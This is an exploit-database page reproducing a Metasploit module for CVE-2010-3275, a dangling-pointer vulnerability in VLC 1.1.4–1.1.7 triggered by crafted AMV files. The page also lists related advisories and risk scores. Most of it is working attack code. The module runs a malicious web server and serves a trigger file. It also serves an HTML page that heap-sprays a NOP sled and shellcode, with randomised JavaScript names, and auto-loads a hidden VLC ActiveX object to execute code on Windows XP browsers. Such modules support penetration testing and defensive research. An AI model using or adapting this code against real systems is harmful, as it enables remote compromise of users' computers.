VLC AMV Dangling Pointer Vulnerability

🗓️ 26 Mar 2011 00:00:00Reported by sinn3rType

packetstorm🔗 packetstormsecurity.com👁 44 Views

VLC AMV Dangling Pointer Vulnerability allowing remote code executio

Reporter	Title	Published	Views	Family All 28
0day.today	VLC AMV Dangling Pointer Vulnerability	27 Mar 201100:00	–	zdt
Tenable Nessus	VLC Media Player < 1.1.8 Multiple Buffer Overflows (deprecated)	25 Mar 201100:00	–	nessus
Tenable Nessus	VLC Media Player < 1.1.8 Multiple Buffer Overflows	25 Mar 201100:00	–	nessus
Tenable Nessus	Debian DSA-2211-1 : vlc - missing input sanitising	7 Apr 201100:00	–	nessus
Tenable Nessus	GLSA-201411-01 : VLC: Multiple vulnerabilities	6 Nov 201400:00	–	nessus
Tenable Nessus	VLC Media Player < 1.1.8 Multiple Buffer Overflows	25 Mar 201100:00	–	nessus
Circl	CVE-2010-3275	26 Mar 201100:00	–	circl
Core Security	VLC Vulnerabilities handling .AMV and .NSV files	23 Mar 201100:00	–	coresecurity
CVE	CVE-2010-3275	28 Mar 201116:00	–	cve
Cvelist	CVE-2010-3275	28 Mar 201116:00	–	cvelist

`##  
# $Id: vlc_amv.rb 12147 2011-03-26 12:05:48Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "VLC AMV Dangling Pointer Vulnerability",  
'Description' => %q{  
This module exploits VLC media player when handling a .AMV file. By flipping the 0x41st  
byte in the file format (video width/height), VLC crashes due to an invalid pointer, which  
allows remote attackers to gain arbitrary code execution.  
  
The vulnerable packages include:  
VLC 1.1.4  
VLC 1.1.5  
VLC 1.1.6  
VLC 1.1.7  
},  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 12147 $",  
'Author' =>  
[  
'sinn3r',  
],  
'References' =>  
[  
['CVE', 'CVE-2010-3275'],  
['OSVDB', '71277'],  
['URL', 'http://www.coresecurity.com/content/vlc-vulnerabilities-amv-nsv-files'],  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
'space' => 1000,  
'StackAdjustment' => -3500,  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "process",  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'Windows XP SP3 IE6', {'Ret'=>0x0c0c0c0c} ],  
[ 'Windows XP SP3 IE7', {'Ret'=>0x1c1c1c1c} ],  
],  
'DisclosureDate' => "Mar 23 2011",  
'DefaultTarget' => 0))  
  
end  
  
def getRet(cli, request)  
if target.name == 'Automatic'  
  
agent = request.headers['User-Agent']  
  
case agent  
when /MSIE 6\.0/  
return [0x0c0c0c0c].pack('V') * 8  
when /MSIE 7\.0/  
return [0x1c1c1c1c].pack('V') * 8  
when /^vlc/  
#VLC identifies itself as "VLC" when requesting our trigger file  
return ""  
when /^NSPlayer/  
#NSPlayer is also used while requesting the trigger file  
return ""  
else  
return nil  
end  
  
else  
  
#User manually specified a target  
return [target.ret].pack('V') * 8  
  
end  
end  
  
def exploit  
path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2010-3275.amv")  
f = File.open(path, "rb")  
@trigger = f.read  
f.close  
  
super  
end  
  
def on_request_uri(cli, request)  
  
#Determine if client is a potential victim either manually or automatically,  
#and then return the appropriate EIP  
nops = getRet(cli, request)  
if nops == nil  
send_not_found(cli)  
return  
end  
  
if request.uri.match(/\.amv/)  
print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}")  
send_response(cli, @trigger, { 'Content-Type' => 'text/plain' } )  
return  
end  
  
nopsled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
js_func_name = rand_text_alpha(rand(6) + 3)  
js_var_blocks_name = rand_text_alpha(rand(6) + 3)  
js_var_shell_name = rand_text_alpha(rand(6) + 3)  
js_var_nopsled_name = rand_text_alpha(rand(6) + 3)  
js_var_index_name = rand_text_alpha(rand(6) + 3)  
trigger_file = datastore['URIPATH'] + "/" + rand_text_alpha(rand(6) + 3) + ".amv"  
  
html = <<-EOS  
<html>  
<head>  
<script>  
function #{js_func_name}() {  
var #{js_var_blocks_name} = new Array();  
var #{js_var_shell_name} = unescape("#{shellcode}");  
var #{js_var_nopsled_name} = unescape("#{nopsled}");  
do { #{js_var_nopsled_name} += #{js_var_nopsled_name} } while (#{js_var_nopsled_name}.length < 82000);  
for (#{js_var_index_name}=0; #{js_var_index_name} < 3500; #{js_var_index_name}++) {  
#{js_var_blocks_name}[#{js_var_index_name}] = #{js_var_nopsled_name} + #{js_var_shell_name};  
}  
}  
#{js_func_name}();  
</script>  
</head>  
<body>  
<object classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921"  
codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab"  
width="0" height="0"  
events="True">  
<param name="Src" value="#{trigger_file}"></param>   
<param name="ShowDisplay" value="False" ></param>   
<param name="AutoLoop" value="no"></param>   
<param name="AutoPlay" value="yes"></param>  
</object>  
</body>  
</html>  
EOS  
  
#Remove extra tabs in HTML  
html = html.gsub(/^\t\t/, "")  
  
print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")  
send_response( cli, html, {'Content-Type' => 'text/html'} )  
end  
end  
`

26 Mar 2011 00:00Current

0.1Low risk

Vulners AI Score0.1

EPSS0.75515